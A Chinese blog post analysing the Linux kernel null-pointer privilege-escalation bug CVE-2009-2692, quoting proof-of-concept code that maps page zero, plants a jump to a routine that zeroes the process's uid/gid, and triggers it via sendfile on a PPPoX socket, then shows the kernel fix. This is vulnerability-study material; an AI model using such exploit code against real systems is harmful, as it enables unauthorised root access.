0地址的妙用(CVE-2009-2692)

版权声明:本文为博主原创文章,未经博主同意不得转载。 https://blog.csdn.net/hu3167343/article/details/34831961

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

漏洞成因

事实上0地址的妙用在windows上也有非常多的利用,在windows的主动防御开发过程中,非常多病毒都是用NULL地址来绕过主防的拦截。

原理事实上也非常easy,由于开发主防的程序猿常常会在自己的hook函数开头检查传进来的參数。比如if (param == NULL) return NTSTATUS_SUCCESS;这种代码。


在Linux内核中。每一个套接字都有一个名为proto_ops的相关操作结构。当中包括实用于实现各种功能(如接受、绑定、关闭等)的函数指针。

假设对特定套接字的操作没有实现,就应将相关的函数指针指向提前定义的存根。比如,假设未定义accept功能,就应指向sock_no_accept()。可是。假设某些指针没有初始化。就可能出现其它情况。


再回过来说linux上的这个root漏洞,事实上原理和windows上差点儿相同,就是申请一块0地址的内存。然后往里面写入自己的函数代码,内核中没有推断是否为NULL就直接调用了,通常情况下,可能内核直接奔溃。可是我们申请了0地址空间之后。就会调用进我们的提取函数中了。


PoC分析

1.程序首先申请一份0地址空间

if ((personality(0xffffffff)) != PER_SVR4) {
<span style="white-space:pre">	</span>if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
		perror("mmap");
		return -1;
	}
} else {
	if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
		perror("mprotect");
		return -1;
	}
}


2.写入跳转代码,去运行我们的提权函数(这个exploit貌似是x86架构上的)

*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

3.提权函数採用了非常巧妙的方法去改动uid和gid

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
void kernel_code()
{
	int i;
	uint *p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
 			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint *) ((char *)(p + 8) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}

	exit_kernel();
}

4.0地址空间布局好之后,通过调用sendfile触发漏洞,提升权限

if ((fdin = mkstemp(template)) < 0) {
	perror("mkstemp");
	return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
	perror("socket");
	return -1;
}
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);

漏洞修复


本来直接调用的sock->ops->sendpage函数被替换成了kernel_sendpage函数。而kernel_sendpage是会对sock->ops->sendpage指针最判空处理的。

int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags)
{
	if (sock->ops->sendpage)
		return sock->ops->sendpage(sock, page, offset, size, flags);
	return sock_no_sendpage(sock, page, offset, size, flags);
}


posted on 2019-05-11 09:31  xfgnongmin  阅读(660)  评论(0编辑  收藏  举报

导航